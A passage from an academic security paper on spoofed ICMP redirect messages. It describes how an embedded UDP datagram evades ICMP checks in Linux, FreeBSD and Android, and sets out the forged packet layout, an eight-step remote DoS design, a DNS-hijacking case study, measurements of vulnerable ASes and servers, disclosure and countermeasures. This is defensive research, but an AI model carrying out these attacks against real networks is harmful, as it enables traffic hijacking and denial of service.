FreeBSD 8.2 (released in February 2011) and beyond, An-
droid 4.3 (released in June 2012) and beyond, Mac OS 10.11
(released in September 2015) and beyond. The mechanism
of ICMP redirect is enabled by default in Linux systems,
FreeBSD systems, Android systems before kernel version
6.0, and Mac OSes before kernel version 10.11.6. In Android
systems, it is difficult for normal users to disable the ICMP
redirect mechanism manually once the mechanism is enabled
in the kernel, since the operation of disabling requires root
privileges [1], and only about 7.6% users of Android sys-
tems in the world root their devices [3]. For Mac OSes after
kernel version 10.11.6, once the ICMP redirect mechanism
is enabled via the parameter of sysctl, Mac OSes become
vulnerable too.

We also review the source code of Linux systems and
FreeBSD systems to confirm that they are indeed vulnera-
ble to our attacks. For example, Figure 3 illustrates the code
that handles ICMP error messages embedded with a UDP
datagram since Linux kernel version 2.6.204. It can be seen
that Linux will check the existence of the socket first (in line
106). Due to the statelessness and memorylessness of UDP,
Linux cannot perform a further check on the embedded UDP
data (unlike TCP which will be further checked to confirm
that the carried sequence number is within its send window).
Therefore, as long as the socket to the remote destination
exists, Linux will redirect the outgoing traffic for the destina-
tion (in line 113). However, as we described before in §3.1,
attackers can easily craft a UDP socket to evade this check,
thus tricking the victim into redirecting its traffic obediently.

 
100  void __udp4_lib_err ( ) 
101  { 
102     …… 
103 const int type = icmp_hdr(skb)->type; 
104 const int code = icmp_hdr(skb)->code; 
105 struct sock *sk; 
106 sk = __udp4_lib_lookup( ); 
107 if (!sk) { 
108  __ICMP_INC_STATS(net, ICMP_MIB_INERRORS); 
109  return; /* No socket for error */ 
110 } 
111 switch (type) { 
112  case ICMP_REDIRECT: 
113   ipv4_sk_redirect( ); 
114 } 
115 …… 
116  } 

Figure 3: Handling ICMP errors embedded with UDP.

3.3 Crafting Evasive ICMP Redirects
Figure 4 illustrates the structure of a forged ICMP redirect
message embedded with a known UDP datagram, which can

4Linux introduces some small changes since kernel version 4.20.17, but
the basic logic remains unchanged.

be used to evade the check mechanism in ICMP specifications.
In IP header, the Protocol filed is specified as ICMP, source
IP address and destination IP address are specified as the
gateway’s IP address and the victim originator’s IP address,
separately. Then in ICMP header, the Type field is specified as
5, indicating that this is an ICMP redirect message. The value
of the Code field is not unique, and the attacker can choose
any one of the four values (i.e., 0, 1, 2 or 3) to redirect the
victim originator’s network traffic for the destination that is
specified in the next embedded UDP datagram. The Gateway
Internet Address field specifies the new gateway of the
originator on the way to the destination.

Our forged ICMP redirect message can work regardless of
whether the checks defined in RFC 792 and RFC 1812 are
implemented, since the check mechanism is by design not ef-
fective in stateless protocols (i.e., UDP in our demonstration).
Furthermore, we discover that RFC 1812 (i.e., checking as
much of the triggering packet as possible but not exceeding
576 octets) has not been implemented strictly in the vulner-
able OSes that we list in §3.2. As a result, in practice, the
attacker only needs to craft the first 28 octets data of the UDP
datagram in Figure 4 to evade the check mechanism and then
perform our attack successfully.

Protocol = ICMP
Source address        = Gateway
Destination address = Originator

Type = 5 Code = 0/1/2/3
Gateway Internet Address

Protocol = UDP
Source address        = Originator
Destination address = Destination

‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’

V4 IHL = 20 TOS Total Length
IPID X|DF|MF Frag Offset

TTL IP Header Checksum

ICMP Checksum

V4 IHL = 20 TOS Total Length
IPID X|DF|MF Frag Offset

TTL IP Header Checksum

Destination port
Length Checksum

Source port

28
 o

ct
et

s

576 octets

Figure 4: Forged ICMP redirect embedded with UDP.

By crafting such an evasive ICMP redirect message, attack-
ers can manipulate victims’ traffic to construct off-path at-
tacks, i.e., (i) performing a stealthy remote DoS attack against
vulnerable servers on the Internet when the attacker does not
reside in the same network with the servers, or (ii) hijacking
a victim’s traffic to construct MITM attacks if the attacker is
a normal user residing in the same network with the victim.

4 Forging ICMP Redirects on the Internet

A requisite for our remote DoS attack is that the malicious
ICMP redirect messages crafted by off-path attackers can
be forwarded to remote victims. In this section, we conduct
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Table 1: Forwarding ICMP redirect messages on the Internet.

Sender
AS crossed Receiver Asia America Europe

Beijing
159.226.*.202

Tokyo
124.156.*.135

Bombay
119.28.*.146

Singapore
150.109.*.233

Hong Kong
43.129.*.233

California
170.106.*.100

Toronto
49.51.*.40

Virginia
170.106.*.40

Frankfurt
162.62.*.44

Moscow
162.62.*.197

America
California
47.88.*.24

AS7497
AS174
AS2914

AS2914 AS6453 AS7473
AS4766

AS6453
AS9304 AS8003 AS3356

AS2914
AS2914
AS3356

AS1299
AS2914

AS6762
AS2914
AS31133

Virginia
47.90.*.227

AS7497
AS174

AS2516
AS3356

AS174
AS9498

AS6453
AS3356

AS3491
AS174 AS3356 AS3356 AS32098 AS3356 AS3356

Europe London
8.208.*.114

AS7497
AS174
AS3356
AS45102

AS2516
AS3356
AS45102

AS9498
AS45102

AS7473
AS1299
AS45102

AS6453
AS3491
AS3356
AS45102

AS3356
AS45102

AS3356
AS45102

AS3356
AS45102

AS1299
AS45102

AS6939
AS209141
AS45102

Australia Sydney
47.74.*.68

AS7497
AS7474
AS3491
AS45102
AS7473

AS2914
AS7474
AS7473
AS45102

AS7473
AS7474
AS9498
AS45102

AS7473
AS7474
AS45102

AS7474
AS7473
AS45102
AS9304

AS6453
AS7474
AS7473
AS45102

AS6453
AS7474
AS45102
AS7473

AS7474
AS6461
AS45102
AS7473

AS1299
AS7474
AS45102
AS7473

AS6939
AS45102
AS15412
AS209141

Asia

Jakarta
147.139.*.126

AS7497
AS3491
AS10217
AS2914

AS2914
AS10217

AS7473
AS9498
AS135391

AS135391
AS3491
AS10217
AS2914

AS6453
AS2914
AS10217

AS6453
AS2914
AS10217

AS3356
AS10217
AS2914

AS1299
AS3356
AS10217
AS2914

AS2914
AS10217
AS3356

Qingdao
118.190.*.74

AS7497
AS37963

AS4837
AS45102
AS2914

AS4837
AS37963
AS6453
AS4755

AS7473
AS58541
AS45102
AS4134
AS4809

AS37963
AS58541
AS4134
AS4809

AS4134
AS45102
AS58541

AS6453
AS4837
AS45102

AS7018
AS4837
AS37963

AS4837
AS1299
AS37963
AS45102

AS4837
AS12389
AS45102

Dubai
47.91.*.206

AS7497
AS3491
AS6762
AS45102
AS15802

AS2914
AS45102
AS15802

AS45102
AS9498 AS8003

AS9304
AS45102
AS15802

AS3356 AS3356
AS45102

AS3356
AS45102
AS15802

AS45102 AS31133
AS45102

Beijing
183.173.*.12 AS7497 AS2914

AS4134
AS4637
AS9498

AS4134
AS4809

AS4134
AS4809 AS4134 AS6453

AS4637
AS4134
AS3356

AS4134
AS3356

AS4134
AS31133

Kuala Lumpur
47.250.*.16

AS7497
AS3491
AS2914

AS2914 AS9930
AS9498 AS9930 AS3491

AS2914
AS6453
AS2914

AS6453
AS2914

AS2914
AS3356

AS2914
AS3356

AS2914
AS3356

measurement studies on the feasibility of sending crafted
ICMP redirect messages to remote victims.

4.1 Forwarding Redirects on the Internet
According to ICMP specifications [12, 67], ICMP redirect
messages should only be issued by the current first-hop gate-
way to the attached hosts, which means ICMP redirect mes-
sages should not be forwarded across networks on the Inter-
net. As a result, if ICMP redirect messages appear on the
Internet, they should be silently discarded by filtering mech-
anisms [7, 28, 39] that only allow legitimate traffic to flow
through the network. However, through extensive measure-
ment studies on the Internet, we reveal that crafted ICMP
redirect messages are still allowed to traverse across a consid-
erable number of ASes, thus successfully being forwarded on
the Internet.
Experimental Setup. We deploy 19 vantage points in 4 con-
tinents around the world to test the feasibility of forwarding
crafted ICMP redirect messages across different ASes on the
Internet. We craft ICMP redirects from 9 of the vantage points
and then send the crafted messages to the rest 10 points (see
Table 1 for more details about the locations of our vantage
points that are evenly distributed around the world). Note that
we do not perform any IP spoofing in this experiment as the
goal is to see whether redirect messages themselves can be
forwarded successfully on the Internet.
Experimental Results. Table 1 shows our experimental re-
sults. We find that in our 90 measurements, the crafted mes-
sage can always be forwarded to the receiver without any

restrictions on the Internet, even though the forwarding of the
messages crosses several ASes and the specified source IP
address of the message is obviously illegal, i.e., the source
IP address of the message is the sender that cannot be the
gateway of the receiver at all.

4.2 Receiving Spoofed Redirects in Target AS
Besides forwarding ICMP redirect messages on the Inter-
net, our remote DoS attack also requires that the target AS
where the victim originator resides will not discard forged
ICMP redirect messages with spoofed source IP address of
the victim’s gateway within the AS.

In our empirical studies on the Internet, we find that a large
number of vulnerable ASes allow spoofed ICMP redirect mes-
sages (with source IP address of gateways within these ASes)
to enter. The spoofed messages will be successfully forwarded
to victim originators attached to the gateways, thus manipu-
lating the victim’s network traffic (see §5.2 for details about
the detection for victim originators and the corresponding
vulnerable AS on the Internet).

We totally detect 5,184 vulnerable target ASes (located
in 185 countries around the world) that do not filter spoofed
ICMP redirect messages. It is not a surprise, considering that
about a quarter of ASes on the Internet have not yet imple-
mented effective filtering mechanisms to block spoofed pack-
ets [44, 49]. Table 2 presents the detailed information of 30
of the vulnerable ASes. For example, As shown in the first
line, a gateway with IP address of 154.54.x.157 is in AS 174
which is located in the United States and belongs to Cogent
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Communications. We forge an ICMP redirect message with
the spoofed source IP address of this gateway and send the
message to the victim (a vulnerable web server we detected
in Alexa top 1 million websites list, see §5.3 for more details)
attached to this gateway. Finally, the spoofed ICMP redirect
message is successfully forwarded to the victim.

Table 2: Vulnerable ASes allowing spoofed redirect messages.
Gateway AS No. Organization Location

154.54.x.157 AS174 Cogent Comm. US
64.86.x.66 AS6453 TATA Comm. (AMERICA) US
45.79.x.5 AS63949 Linode, LLC US
204.93.x.159 AS23352 Server Central Network US
72.29.x.133 AS7393 CYBERCON, INC. US
148.163.x.24 AS53755 Input Output Flood LLC US
64.74.x.198 AS63410 PrivateSystems Networks US
209.58.x.15 AS394380 Leaseweb USA US
188.170.x.58 AS31133 PJSC MegaFon RU
92.53.x.34 AS49505 OOO Network RU
109.234.x.250 AS50340 OOO Network RU
62.67.x.186 AS3356 Level3, LLC DE
213.239.x.230 AS24940 Hetzner Online GmbH DE
198.27.x.92 AS16276 OVH SAS FR
89.30.x.146 AS31216 BSOCOM FR
185.17.x.66 AS42831 UK Dedicated Servers GB
87.245.x.221 AS9002 RETN Limited GB
125.22.x.166 AS9498 BHARTI Airtel IN
183.83.x.29 AS18209 Atria Convergence IN
218.145.x.26 AS4766 Korea Telecom KR
58.159.x.178 AS17506 ARTERIA Networks JP
159.226.x.203 AS7497 Computer Network CN
195.142.x.162 AS34984 TELLCOM ILETISIM TR
80.67.x.207 AS42708 GleSYS AB SE
83.137.x.204 AS47692 Nessus GmbH AT
103.245.x.150 AS17660 DrukNet ISP BT
103.252.x.129 AS45638 SYNERGY WHOLESALE AU
118.98.x.254 AS18051 Pustekkom ID
113.21.x.217 AS38082 True Internet TH
45.138.x.1 AS207640 Expert Solutions GE

5 Stealthy Remote DoS Attacks

In this section, we present a stealthy DoS attack that can be
launched remotely to cut off the communication between a
pair of IP addresses exploiting the weak ICMP legitimacy
check mechanism. It can be targeted at not only individual
users, e.g., preventing one from visiting a website, but also
server-to-server communication, e.g., shutting down a DNS
resolver from contacting a particular authoritative name server
to resolve certain domains names. It is even possible to shut
down an entire operation of a service such as Tor when the
communication between Tor nodes is broken down. We first
present the threat model and the design of our attack. Then, we
perform empirical studies to identify vulnerable public servers
on the Internet. We uncover that 43,081 popular websites,
54,470 open DNS resolvers and 186 Tor relay nodes that are
residing in 5,184 ASes and 185 countries are vulnerable to
our DoS attack.

5.1 Threat Model
Figure 5 illustrates the threat model of our off-path DoS at-
tack. The model consists of four hosts: 1) a victim originator
(in different attack scenarios, the victim originator may be
a web server, an open DNS resolver or a Tor relay node), 2)
a neighboring host attached to the same gateway with the
victim originator, 3) a victim destination (correspondingly,
in different attack scenarios, the victim destination may be a
web client, an authoritative name server or a next-hop Tor re-
lay node), 4) an off-path attacker. The off-path attacker aims
to pretend to be the gateway and forges an ICMP redirect
message to the originator, thus redirecting the originator’s
network traffic for the destination to the neighboring host
maliciously. Since hosts are forwarding-disabled by default,
they will act as black holes and discard the originator’s traffic,
which means the off-path attacker performs a successful DoS
attack against the victim originator. In order to complete the
DoS attack, the following requirements need to be fulfilled.

Attacker

Victim originator

DestinationGateway

Host

Off-path

Internet

Figure 5: Threat model of DoS attacks.

Traceable Gateway. IP address of the gateway is known to
the attacker, since the attacker needs to impersonate the gate-
way to craft ICMP redirect messages. Once the originator’s
IP address is determined, IP address of its gateway may be
observed through traceroute [46].
IP Spoofing. The off-path attacker is capable of sending
spoofed packets with the IP address of the gateway. Prior
studies show that about a quarter of ASes on the Internet
do not filter packets with spoofed source addresses leaving
their networks [44, 49], and it is trivial to rent such a machine
from a bullet-proof-hosting node [50]. Moreover, a recent
study [20] uncovers that 69.8% of ASes on the Internet do
not enforce ingress filtering to block spoofed packets, which
further demonstrates the seriousness of IP spoofing.
Vulnerable Target. The victim originator whose outgoing
traffic for the destination will be misled has to be equipped
with the vulnerable OSes listed in §3.2. Hence, the crafted
ICMP redirect messages can evade the originator’s check to
poison the originator’s routing.
Live Neighboring Host. In current ICMP implementations,
the originator will check the availability of the host when it
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updates its routing to use the host as its next hop. The attacker
can probe the network where the originator resides and then
detect a live neighboring host of the originator by leveraging
ICMP echoes5.

5.2 DoS Attack Design

Figure 6 presents the steps of our DoS attack via malicious
ICMP redirects. In the beginning, the victim originator and
the destination can communicate normally. In our attack, the
originator may be a web server, an open DNS resolver, or a
Tor relay node. Correspondingly, the destination may be a web
client, an authoritative name server, or a next-hop Tor relay
node, respectively. An off-path attacker aims to cut off the
communication between the originator and the destination.

The attack consists of eight main steps. 1 The off-path
attacker probes neighboring hosts of the victim originator by
leveraging ICMP echoes. 2 The attacker impersonates the
destination via IP address spoofing and forges UDP datagrams
to one of the listening UDP ports of the victim originator. 3
The victim originator is tricked into establishing a UDP socket
that is predictable to the attacker, since the four-tuple of the
socket, i.e., source IP address, destination IP address, source
port (listening UDP port) and destination port (source port of
the previous forged UDP datagram specified by the attacker),
is known to the attacker. 4 The attacker pretends to be
the gateway (via IP address spoofing) of the victim origina-
tor that can be observed through traceroute and then forges
an ICMP redirect message embedded with the known UDP
socket information. 5 The forged ICMP redirect message
passes the originator’s check. 6 The originator updates its
routing cache and redirects subsequent network traffic (all
types of network traffic undertaken by IP) to the neighbor-
ing host obediently. 7 The redirected traffic is discarded by
the forwarding-disabled neighboring host. 8 The destina-
tion cannot receive any responses from the originator, which
means only one forged ICMP error message causes a DoS of
the originator. When all eight steps succeed, the AS where the
victim originator resides is also considered vulnerable, i.e.,
receiving the spoofed ICMP redirects as stated in §4.2.

5.3 Case Study on Popular Websites

Experimental Setup. 4 kinds of hosts are involved. 1) Target
web servers (i.e., victim originators in our attack design as
shown in Figure 6) whose outgoing traffic may be manipu-
lated by forged ICMP redirects. We use the servers of Alexa
top 1 million websites as the targets in this measurement study.
2) Neighboring hosts of the target servers that reside in the
same network with the servers. These hosts can be detected

5For instance, one IP address of the website “www.mit.edu” is
104.76.0.251, we can probe that an alive host with the IP address of
104.76.0.252 is its neighbor, which has the same TTL and the same gateway
(106.187.29.182) from our vantage points.

through ICMP echo requests and replies. 3) Web clients (i.e.,
destinations) that can access the target servers and receive
responses originally. Due to ethical considerations, all the
clients are under our control. To comprehensively evaluate
the impact of this attack in the real world, we deploy 6 con-
trolled clients (vantage points) in different locations around
the world, i.e., Frankfurt, Singapore, California, Tokyo, Shang-
hai, and Toronto. 4) A malicious attacker located in Russia
who can spoof source IP address and aims to mislead the tar-
get server’s network traffic (sending to our controlled clients)
into the detected neighboring hosts (i.e., routing black holes)
via crafting ICMP redirect messages. If the DoS attack suc-
ceeds, the clients will not be able to receive responses from
the vulnerable server.

Victim originatorAttacker DestinationNeighbor host

1

2

Detecting a neighbor host

5

Forging redirect messages

6

Passing the check

No response received 8

3

Forging UDP datagrams

4

Establishing UDP socket

7 Discarding

Redirecting

Figure 6: Overview of DoS attacks.

Experimental Results. Figure 7 shows the details of our
DoS attack measurement results. Due to different network
conditions, the number of vulnerable websites observed from
different vantage points varies greatly. For example, in Frank-
furt, we detect 28,604 vulnerable websites, while in Shanghai,
we can only detect 19,603 vulnerable websites. We unite the
sets of the vulnerable websites detected from our six van-
tage points together (deleting duplicates detected in different
vantage points), then we totally discover that 43,081 popular
websites located in 2,872 ASes and 130 countries are vul-
nerable to our DoS attack. Hence, the overall proportion of
vulnerable websites in Alexa top 1 million is about 4.3%6. In-
terestingly, after counting the number of vulnerable websites
in the nearest 10k websites we detected, we identify that the
lower rank of the website, the more likely it can be compro-
mised, which is also consistent with common intuitions.

We elaborate the reasons why our DoS attack may fail, as
shown in Figure 7. On average, there are 17.73% websites in
the list that cannot be reached from our vantage points, mainly
due to two reasons. First, our clients cannot successfully re-

6In 2019, Robert et al. [53] measure that there are 1.3% websites in
Alexa top 1 million have TLS padding oracle vulnerability [84]. Comparing
with TLS padding oracle attack, more websites in Alexa top 1 million are
vulnerable to our attacks.
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Figure 7: DoS measurement study against popular websites.

ceive a DNS reply for the request websites (in different van-
tage points, the proportion varies between 6.47% and 9.38%).
Second, our clients cannot connect to the target websites (in
different vantage points, the proportion varies between 8.86%
and 16.19%). These two inaccessible situations are mainly
caused by censorship [71, 82] and ISP filter rules [66]. When
calculating the success rate of our attacks, we do not consider
these inaccessible websites. Silent gateways cause 16.69% of
the failures, i.e., gateways of the detected web servers do not
respond to our probing. These gateways do not disclose their
IP addresses, and thus the attacker cannot impersonate the
gateway to send malicious ICMP redirect messages to the tar-
get server. 63.06% of the failures result from gateway filtering
(e.g., ingress filtering [28]) or invulnerable OSes (e.g., ICMP
error messages throttling). Figure 8 presents the geographical
distribution of the vulnerable websites we detected.

14,894United States
7,350Germany
2,434Canada
1,762Netherlands
1,158Britain
952Denmark
867Australia

602Finland
568China

193Spain
227Brazil

45Estonia
13Bangladesh
12Luxembourg
3Uruguay
1Libya

Figure 8: Geographical distribution of vulnerable websites.

5.4 Additional Attack Scenarios

Besides targeting individual users (i.e., preventing one from
visiting a website), an off-path attacker can even cut off the
back-end server-to-server communications by exploiting the

vulnerability in ICMP legitimacy checks, e.g., the communi-
cations between DNS resolver and the downstream author-
itative name servers and the communications between Tor
relay nodes. Our DoS attack against back-end server-to-server
communications will result in a more serious damage to the
real world. For example, if we can prevent a DNS resolver
from contacting its downstream authoritative name servers
to resolve certain domains names, all users attached to the
vulnerable DNS resolver will be prevented from accessing
these domain names.

In our DoS attack measurement studies against DNS and
Tor, the public DNS resolvers and Tor relay nodes replace
the web servers in §5.3 (i.e., the victim originator in Fig-
ure 6 whose outgoing traffic may be mis-redirected into black
holes). Correspondingly, our controlled downstream authori-
tative name server and Tor relay node replace the victim web
clients (i.e., the destination in Figure 6).

Table 3: Comparisons of the DoS attack measurement results.

Target Quantity Inaccessible Silent
gateway

Invulnerable OS
or filtering

Qty of
Vuls.

DNS resolver 1,951,381 39.69% 15.74% 41.78%
54,470
(4.63%)

Tor relay node 6,518 18.52% 26.22% 52.41%
186

(3.50%)

Website
Alexa top
1 million

17.73% 16.69% 63.06%
25,350
(3.07%)

Table 3 shows the comparisons of our DoS attack measure-
ment results under different network scenarios. Comparing
with the average measurement results on popular websites,
we uncover that 54,470 open DNS resolvers (4.63% of the
1,951,381 targets obtained from Censys [23]) and 186 Tor re-
lay nodes (3.50% of the 6,518 targets obtained from Dan [21])
on the Internet are vulnerable to our DoS attack, which means
network traffic of these public servers can be manipulated re-
motely. Note that when calculating the vulnerable proportions,
we do not consider the inaccessible targets from our deployed
authoritative name server and Tor relay node in California.
The reasons for not being vulnerable to our DoS attack are
also presented in Table 3.

6 Network Traffic Hijacking Attacks

6.1 Threat Model
Figure 9 illustrates our threat model of the network traffic
hijacking attack via malicious ICMP redirect. Being differ-
ent from the threat model of the DoS attack, in this model
the attacker and the victim originator whose network traffic
will be maliciously manipulated reside in the same network.
The gateway to which the attacker and the originator are at-
tached may be varied, e.g., NAT devices bundling clients be-
hind a single public IP address, routers of enterprise or home
networks, SDN controllers generating and deploying flow
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rules [13]. Note that although the attacker and the victim orig-
inator reside in the same network, the off-path attacker cannot
eavesdrop the originator’s traffic, since the originator and the
attacker are linked to the gateway through switched networks
(instead of the broadcast link networks). The attacker aims to
redirect the originator’s traffic for the destination to itself and
act as the new gateway of the originator, thus hijacking the
originator’s traffic and evolving to MITM.

Attacker

Destination

Victim originator

Gateway

Internet

Off-path

Figure 9: Threat model of hijacking attacks.

Compared to the DoS attack, IP spoofing is possible when
the attacker and the victim originator reside in the same net-
work7. Because the security features that block spoofed pack-
ets are often deployed at gateways (higher layers of aggrega-
tion) to filter the network traffic flowing through [28], ICMP
redirects spoofed internally do not pass through the gateway
and thus are not subject to blocking. Besides, since the at-
tacker is a live neighboring host of the victim originator, it has
no difficulty on satisfying the last requirement and becoming
the new gateway (see §5.1).

6.2 Case Study of DNS Requests Hijacking
Our attack can be conducted under various scenarios to com-
promise the network. We perform a case study in a real cam-
pus network to show that our attack can cause serious dam-
ages to NAT networks. Due to IP address space exhaustion,
NAT is proposed as a standard to allow the expansion of
the Internet to continue without moving to IPv6 [81]. Nowa-
days, NAT is ubiquitous especially at the edge of campus
networks, enterprise networks, and residential networks [47].
In NAT networks, local DNS resolvers [36, 54] or DNS for-
warders [36, 72] are fairly prevalent [40, 72, 73], since they
are locally accessible to reduce network latency and avoid
being exposed directly to Internet attackers [35]. In this at-
tack, we show that an off-path attacker can hijack queries
from a local DNS forwarder and then poison the local DNS
cache of the NAT network. As a result, the off-path attacker
can manipulate DNS requests of all users under the same net-
work stealthily. We implement this attack in our real campus
network and show its seriousness ethically.
Experimental Setup. 5 types of devices are involved in this
attack. 1) A HUAWEI NAT gateway bundling 120 clients

7We tested 10 real-world switched networks, i.e., 4 campus Ethernet
LANs, 4 enterprise Ethernet LANs, and 2 government Ethernet LANs. In all
cases, we are able to deliver spoofed ICMP redirect messages without issues.

behind a single public IP address. 2) A vulnerable DNS for-
warder deployed in the NAT network, which is equipped with
Linux kernel version 5.5 and BIND 9.16.8. The DNS for-
warder receives DNS requests from users in the NAT network
and then forwards the queries. 3) A remote downstream DNS
server that receives queries from the forwarder and returns
answers to the forwarder. In our test, we set Google’s popular
DNS services of 8.8.8.8 as the downstream DNS server. 4)
victim users in the NAT network who access the local DNS
forwarder to acquire the IP addresses of domain names they
queried. 5) An off-path attacker located in the same NAT net-
work. The attacker is incapable of eavesdropping on other’s
traffic, and it aims to redirect the DNS forwarder’s traffic to
itself via malicious ICMP redirect. As a result, the attacker
can hijack the DNS requests and then poison the DNS cache
of the whole NAT network.

Downstream DNS
serverAttacker Users

DNS 
resolver/forwarder

1

2

3

4Redirect traffic inappropriately

5
www.example.com

6www.example.com

7
www.example.com/6.6.6.6

8

www.attacker.com

Normal DNS 
behaviors

Forging UDP datagrams

Establishing UDP socket

Forging redirect messages

Figure 10: Off-path DNS requests hijacking in NAT networks.

Experimental Workflow. Figure 10 presents the workflow
of how to conduct an off-path DNS requests hijacking in
NAT networks via malicious ICMP redirect. Under normal
conditions, DNS behaviors are quite straightforward. Users
send DNS queries to the forwarder (or the resolver). The
forwarder and the remote server complete the mapping of
domain names to IP addresses, then the query results are fed
back to users and cached in the forwarder. In our attacks, the
attacker first impersonates the server to send UDP datagram
to the forwarder’s listening port of 5353, since we observe
that the multicast DNS service is always available in the target
forwarder. The forwarder will be tricked into establishing a
predictable UDP socket, allowing the attacker to forge accept-
able ICMP redirect messages and specify the attack machine
as the new gateway of the forwarder. After the forwarder’s
traffic for the downstream DNS server is redirected success-
fully, user’s DNS queries to the forwarder that are not cached
will be mis-forwarded to the attacker. Then the off-path at-
tacker discards the original DNS query and impersonates the
DNS server to send forged answers to the forwarder. Finally,
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the forwarder replies users with a bogus IP address which will
also be cached in the forwarder. As a result, due to cache poi-
soning all users in the NAT network will be affected stealthily.

Figure 11: Poisoned routing cache of the DNS resolver.

Experimental Results. Figure 11 shows the results of the
poisoned routing cache of the vulnerable local DNS forwarder
(whose IP address is 192.168.3.111). The DNS forwarder’s
original gateway to the server 8.8.8.8 is 192.168.3.1. How-
ever, once the attacker performs our hijacking attack, the DNS
forwarder’s next hop to 8.8.8.8 is rewritten to the attack ma-
chine, i.e., 192.168.3.6. As a result, the attacker can intercept
the forwarder’s queries and then impersonate the downstream
server to reply the forwarder with bogus answers.

After the local DNS cache is poisoned, all users in the NAT
network will be affected, i.e., the off-path attacker can manip-
ulate the user’s network requests arbitrarily. Figure 12 shows
that the request of a user (a client host under our control due
to ethical considerations) to the website of “www.yahoo.com”
is hijacked to a fake one as a result of the bogus IP address
of the domain name that the user received from the poisoned
DNS forwarder. The hijacking attack is stealthy due to the
low attack traffic (actually only one ICMP redirect packet),
which means the cost is also negligible.

Figure 12: Snapshot of DNS requests hijacking.

7 Discussion

Responsible Disclosure. We reported the vulnerability and
our PoC to the communities of Linux, FreeBSD and AOSP
(Android Open Source Project). Android has confirmed the
vulnerability and is currently discussing the countermeasure
with us. We have several rounds of discussions with Linux
and FreeBSD, but have not been informed of any decisions.
Besides, we contact 16 affected vendors on the Internet to
disclose the vulnerability but have yet to hear back.

7.1 Comparison with Existing Attacks

The ICMP redirect attack was considered previously for only
an alternative to the existing manipulation attack of ARP poi-
soning in LAN [77, 89]. However, we demonstrate that the
attacks developed in this paper are quite different. Firstly,
via exploiting the vulnerability in ICMP legitimacy checks,
we can craft an acceptable ICMP redirect message remotely
to rewrite the victim’s routing for particular destinations, in-
stead of the ARP table. As a consequence, our attacks can be
performed on the Internet without the limitation of network
topology. Second, our attacks are more stealthy, since the
attacker only needs to send one forged ICMP redirect mes-
sage to the vulnerable target, instead of broadcasting forged
packets (i.e., ARP reply packets in ARP poisoning attacks
which may cause the IDS logs to be filled up with suspicious
traffic records). Besides, countermeasures of MAC-IP bind-
ings [59,69] and unsolicited ARP reply discarding [45,51,78]
have been proposed to prevent ARP poisoning attacks. By
contrast, our attacks are difficult to be prevented through these
countermeasures, since the behavior is normal at layer two.

7.2 Impact from Routing Cache

Attack Scale with Routing Cache Size. Once an attacker
succeeds to mislead a victim originator’s network traffic for a
particular destination, the victim will replace the routing entry
for the destination with a new one in its routing cache. As
a result, how many destinations’ traffic can be manipulated
concurrently (i.e., the attack scale) is decided by the routing
cache size of the victim originator. In practice, we observe
that the routing cache is dynamically allocated on modern
OSes, and its size is different in various implementations.
For example, in our experiments against vulnerable servers
equipped with Linux kernel version 3.9.10 and 5.4.0, we can
force the servers to lose connections up to 10,240 clients con-
currently via sending forged ICMP redirect messages to the
server in parallel (specifying that the traffic to different clients
needs to be redirected). By contrast, for a vulnerable server
equipped with FreeBSD kernel version 12.2, we can force the
server to lose connections up to 55,000 clients concurrently.
The impact of the routing cache size on our DoS attacks varies
under different network scenarios. For example, in our attacks
against the websites and against the open DNS resolvers, the
routing cache size of the victim means how many front-end
web users may be lost at the same time for the former, while
it means how many back-end domain names may be lost at
the same time for the latter.
Attack Expiration due to Time Limit of Routing Entries.
In our experiments, we identify that the poisoned routing (i.e.,
the false routing entry in the routing cache resulted from a
crafted ICMP redirect message) in Linux systems with kernel
version 3.9.10 and beyond will be cached for only 300 sec-
onds. After the time limit of 300 seconds, the original routing

USENIX Association 31st USENIX Security Symposium    2629



entry that specifies the default gateway as the next hop of the
victim will be restored automatically. Hence, if a victim is
equipped with Linux kernel version 3.9.10 and beyond, our
attack may expire in 300 seconds. In practice, in order to
permanently poison the target’s routing, attackers can keep
sending one forged ICMP redirect message per 300 seconds
to prevent the automatic recovery of the original routing.

7.3 Attacks in IPv6 Networks
In IPv6 networks, ICMPv6 messages with type=137 and
code=0 are used by the current first-hop router to inform the
originator hosts that a better first-hop router is on the path
to a specific destination or to inform the originators that the
destination is in fact a neighbor [60]. We discover that the
gap between ICMPv6’s legitimacy check mechanism and the
stateless protocols still exists. As stated in ICMPv6 specifi-
cations [19, 60], ICMPv6 redirect messages should embed as
much of the triggering packet as possible, without making
the redirect message exceed the minimum IPv6 MTU (i.e.,
1280 octets). However, IPv6 enabled victims cannot perform
precise validations against ICMPv6 messages embedded with
stateless protocol data either, except for some simple checks
(e.g., the presence of UDP sockets) that can be easily evaded.
As a result, our attacks can be easily extended to IPv6 net-
works to manipulate a victim originator’s network traffic.

8 Countermeasures

Network Changes. At the network level, ISPs can make
network changes to block ICMP redirects. Firstly, ingress
filtering [28] should be applied to block spoofed packets on
the Internet in general, including spoofed ICMP messages. In
addition, an effective ICMP redirect message must spoof the
IP address of a victim’s gateway IP address. This means that
it is even easier for a network to recognize and block spoofed
incoming ICMP redirect messages, as packets coming from
outside of the network should not have a source IP of an in-
ternal node. We do note that this defense does not necessarily
apply to LAN attackers. Second, ICMP redirect messages
are supposed to be issued by a local gateway and therefore
should not appear on the Internet by design [67]. However,
this policy again does not help against LAN attackers.
Protocols Changes. Another possible countermeasure is to
make protocol changes to improve the legitimacy check mech-
anism in ICMP. For example, UDP can be redesigned with
an extension (i.e., header) to embed an additional secret ex-
changed in the beginning of a session — similar to the MD5
option in TCP. In such a design, an off-path attacker would
have no knowledge about the secret and therefore unable to
craft a legitimate ICMP message embedding the correct value
in the UDP header. Nevertheless, this change is substantial as
it requires fundamental changes to UDP and any other state-
less protocols that may be exploited by the attacker. Therefore,

it is a significant challenge to deploy this countermeasure in
the real world.
Host Changes. Given the limitations of the previous counter-
measures, we propose another defense which can be deployed
at a victim host alone to stop the attack. Specifically, we
propose individual hosts concerned about the ICMP redirect
attack to disable the ICMP redirect mechanism for stateless
protocols. According to ICMP specifications [6,67], disabling
the ICMP redirect mechanism at the originator will cause the
usage of sub-optimal routing path to the destination, incurring
an additional link latency due to traversing the extra node
(i.e., the original gateway); however, it does not affect the con-
nectivity of the network. As a result, the incurred additional
link latency (i.e., the increased RTT) is the only side effect
of this countermeasure. Note that this side effect does not
apply to TCP, since we still allow ICMP redirect messages
embedding TCP packets. We prototype our countermeasure
in the real world and evaluate it in different network scenar-
ios, particularly the incurred performance loss for two widely
